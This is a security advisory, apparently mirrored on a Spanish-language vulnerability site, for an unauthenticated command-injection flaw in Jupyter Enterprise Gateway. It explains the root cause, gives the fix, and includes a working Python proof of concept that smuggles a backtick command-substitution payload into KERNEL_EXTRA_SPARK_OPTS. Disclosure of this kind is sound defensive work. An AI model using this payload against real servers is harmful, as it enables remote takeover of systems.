GHSA-J63F-R6HC-X235
Unauthenticated Remote Command Execution (RCE) via KERNEL_EXTRA_SPARK_OPTS Injection in Jupyter Enterprise Gateway
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-J63F-R6HC-X235 divulgada · CVSS 10 (GitHub) | |
| Remediación | Parche 3.4.0 | jupyter_enterprise_gateway · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Unauthenticated Remote Command Execution (RCE) via `KERNEL_EXTRA_SPARK_OPTS` Injection in Jupyter Enterprise Gateway
## Summary
A critical unauthenticated Remote Command Execution (RCE) vulnerability has been identified in Jupyter Enterprise Gateway (all current versions, including `3.3.0` and the `main` branch).
The vulnerability exists in how Enterprise Gateway processes the environment variables (`env`) supplied by clients during a kernel creation request (`POST /api/kernels`). Variables starting with `KERNEL_` are unsafely propagated to the backend cluster process proxies, which subsequently execute Bash scripts (e.g., `run.sh` for various `kernelspecs`).
Due to the use of the `eval` command inside these `run.sh` scripts, an attacker can inject arbitrary shell commands via Command Substitution (e.g., `` `command` `` or `$(command)`). This allows full system compromise of the Enterprise Gateway server or the backend compute nodes with the privileges of the user running the Enterprise Gateway instance (e.g., `jovyan` or `root`).
## Prerequisites for Successful Exploitation
- The Jupyter Enterprise Gateway is accessible over the network.
- The default Enterprise Gateway configuration is in use, which relies on the `AllowAllAuthorizer` (No Authentication required), OR the attacker has a valid token/credential if authentication is explicitly enabled.
- The Enterprise Gateway server uses at least one `kernelspec` that invokes a `run.sh` script containing an `eval exec` statement (e.g., `spark_python_yarn_client`, `spark_python_conductor_cluster`, `spark_R_kubernetes`, etc. - which are bundled by default).
## Root Cause Analysis
The root cause involves a severe breakdown in data sanitization spanning across the API, Process Proxy, and the execution Sink.
Step 1: API Taint Introduction
In `enterprise_gateway/services/kernels/remotemanager.py`, the `_capture_user_overrides()` method explicitly extracts any key in the `env` dictionary of the HTTP Request that begins with `KERNEL_` and trusts it:
def _capture_user_overrides(self, **kwargs):
env = kwargs.get("env", {})
# ...
self.user_overrides.update(
{
key: value
for key, value in env.items()
if key.startswith("KERNEL_") or ...
}
)Step 2: Proxy Transformation
The trusted variables are then processed by the underlying proxy. For instance, in `enterprise_gateway/services/processproxies/yarn.py`, the variable `KERNEL_EXTRA_SPARK_OPTS` is directly appended to the `SPARK_OPTS` variable:
user_defined_spark_opts = ""
if "KERNEL_EXTRA_SPARK_OPTS" in env_dict:
user_defined_spark_opts = env_dict["KERNEL_EXTRA_SPARK_OPTS"]
env_dict['SPARK_OPTS'] = '--master yarn --deploy-mode client --name {kernel_id} {spark_opts}'.format(
kernel_id=kernel_id, spark_opts=user_defined_spark_opts
)Step 3: The Execution Sink
The process proxy subsequently executes a bash script, such as `etc/kernelspecs/spark_python_yarn_client/bin/run.sh`. Inside this script, `SPARK_OPTS` is evaluated unsafely:
eval exec "${IMPERSONATION_OPTS}" \
"${SPARK_HOME}/bin/spark-submit" \
"${SPARK_OPTS}" \
"${PROG_HOME}/scripts/launch_ipykernel.py" \
"${LAUNCH_OPTS}" \
"$@"When bash parses the `eval` statement, it resolves `${SPARK_OPTS}`. If an attacker has supplied a payload utilizing command substitution like `` `touch /tmp/pwned` ``, bash will evaluate and execute the command before evaluating the rest of the string for the `exec spark-submit` call.
Steps to Reproduce (Proof of Concept)
- Deploy the latest Jupyter Enterprise Gateway using Docker:
- Save the following Python script as `exploit.py` and execute it (`python3 exploit.py`). This script simulates a malicious client requesting a new kernel and injecting the command `id > /tmp/hacked_by_zero_day`.
import requests
def exploit(target_url):
print(f"[*] Targeting Jupyter Enterprise Gateway at: {target_url}")
url = f"{target_url.rstrip('/')}/api/kernels"
headers = {"Content-Type": "application/json"}
# Payload utilizing Command Substitution syntax
payload = "`id > /tmp/hacked_by_zero_day`"
data = {
"name": "spark_python_yarn_client",
"env": {
"KERNEL_EXTRA_SPARK_OPTS": payload
}
}
print("[*] Sending malicious kernel creation request...")
try:
# A timeout is expected as the payload executes, but the actual kernel launch fails.
requests.post(url, headers=headers, json=data, timeout=5)
except requests.exceptions.RequestException:
print("[*] Request completed.")
exploit("http://localhost:8888")- Verify the execution inside the Docker container:
## Recommended Fix
The vulnerability stems directly from the usage of `eval` combined with unescaped shell variables in bash scripts.
Immediate Action:
Remove the `eval` command from all `run.sh` files within the `etc/kernelspecs/` directory. By dropping `eval`, Bash will treat `"${SPARK_OPTS}"` strictly as a literal string argument to `spark-submit`, and command substitution injection will fail.
**Vulnerable code (`etc/kernelspecs/*/bin/run.sh`):**
eval exec "${IMPERSONATION_OPTS}" \
"${SPARK_HOME}/bin/spark-submit" \
"${SPARK_OPTS}" \
"${PROG_HOME}/scripts/launch_ipykernel.py" \
"${LAUNCH_OPTS}" \
"$@"Fixed Code:
# Note: If IMPERSONATION_OPTS contains multiple arguments, it should ideally be converted to a bash array.
# Assuming it is a string containing multiple space-separated arguments, using unquoted ${IMPERSONATION_OPTS} allows word splitting safely without eval.
exec ${IMPERSONATION_OPTS} \
"${SPARK_HOME}/bin/spark-submit" \
${SPARK_OPTS} \
"${PROG_HOME}/scripts/launch_ipykernel.py" \
${LAUNCH_OPTS} \
"$@"Additionally, `enterprise_gateway/services/kernels/remotemanager.py` should implement strict validation and sanitization for any client-provided `KERNEL_` environment variables to ensure they do not contain dangerous shell metacharacters before appending them to the process proxy's execution context.
## Script and Image PoC:
- Script PoC:
jupyter_eg_rce_poc.py https://github.com/user-attachments/files/28630530/jupyter_eg_rce_poc.py
- Image PoC:
<img width="1495" height="486" alt="image" src="https://github.com/user-attachments/assets/942eda73-c94e-45e0-8680-b12e2a175a27" />
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypijupyter_enterprise_gateway |
Corregida | 3.4.0 | 0 d | 3.4.0 no afectada |
3.4.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-j63f-r6hc-x235Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
